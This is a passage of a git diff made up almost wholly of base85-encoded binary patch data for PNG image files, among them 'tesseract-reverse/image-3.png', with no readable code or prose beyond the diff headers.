zZqvNwX?1zoHW(p5ZtZf^odU-mPqM_N{Y z?P?D685JdWXJ$>}&hyh42HrA{_f6oP3jpCs(1G`Ym=9`q&1n;XCyl!VTaE#ymitx%UnG0(HhmP>v+Jt5?-4Izua=>z*zWv!EctD$}#{tl#>k4TfLW|dDl~jF6 zl-*TqoHnnn8Qm_E)CnUv7ECo!Sf}z@jy5PLk+DiJzyCLl zB3Yd{lbo+7{Gq``w#PE6BM6!VTX#rZ@7$dvs|`Z zwfpYU;I){j3)%4fyt{lvRm2OF0w-_<_Yha-Fo@L4yfqwp5n`u!AS_Thu}~VwqP4mS zE3mnF1y^)~ytkn!eS52ZV=;^zP_#~EkV;kt*68d3@wgo9?q?!>8UHqtytDVQ&I1yv zaiVO--2UfRxNj@#dDu?&)K6i|6m(>Zg|o&zDVPdL2erN3P+ud{T6b;nDuk(F)&x_w z{NV6WR?F^$3SlJ;2^+RQb#vv=@KX)dGg`D~`$6HNYyu7b#E6#nS1{aNi9Jr`)&;(y9|PI2v8qnps~Q=@M!Hwh0$vJBo3*LThx{^rnX{#|jJ-KPkDhpbw#nYK+^E zNRzc=@HK}+BVQyLYC{cPUhzHf==sZ<3AMHB&{AbdmX}un9V)s9`4leDPVnX_Z`NG` zDEuZEGoGCduloLu_3SJlMW`r-<9AUT`ol>uK0dxf4B*r9;ll?vB-3}l<`Squ6E)vb zaU7swrX@xD)IOKQ`TI!US%O}zF<@+Vkro1#eLxtUR)!W_pCC%|PasN`ab+Kg5JJH9 z4*a9K<{Bb`bppFY;A6WBJ5ZV2k2#cjQET+W`3|a>t`(yZuWk(`5bso_Y&R4%P09! zOb0K*v;fLwxT*Bj{7Pw8EFNk2+4*fV(0ZTzL)U>B6$B^ySHA*pMC8h2Mx;c>kMP5^ zDhmwWqzd*o%e?BNG!t{0y$_F+gqi9TLk=H?x+zga#OrTRMY?x2vt}X7Mt(6;#opdq z2N01KcP~%3t<&h4cVzG6;FHmd&f|G?so%TB>pF!A%&byOrjb+rzo@x%u!&-OXn=FJlc^zM{Rg7GKIJ?bSuILJ zT+C|HdPA}ObGi{33yG|c;ZOjzTsQ*w$Q>aBNI2R6nC3UE(14Xm)Ld#=p-M&Ov0uh0A>$7wy5a{zGLwZO-g!Ch_@`Njao6&xCJFWZ)%%>U`(xeICCU3i9+20qXM`tD*Lgq2 zLK;p8eHqnYHncm2pKr-I23lE14AwG;U-`k%I&AWaG~6N`741elvxT_+g1Mg9-P#|el4 literal 0 HcmV?d00001 diff --git a/tesseract-reverse/image-3.png b/tesseract-reverse/image-3.png new file mode 100644 index 0000000000000000000000000000000000000000..e925915b960a6b04176bb7b5a31f446a74aff222 GIT binary patch literal 61532 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 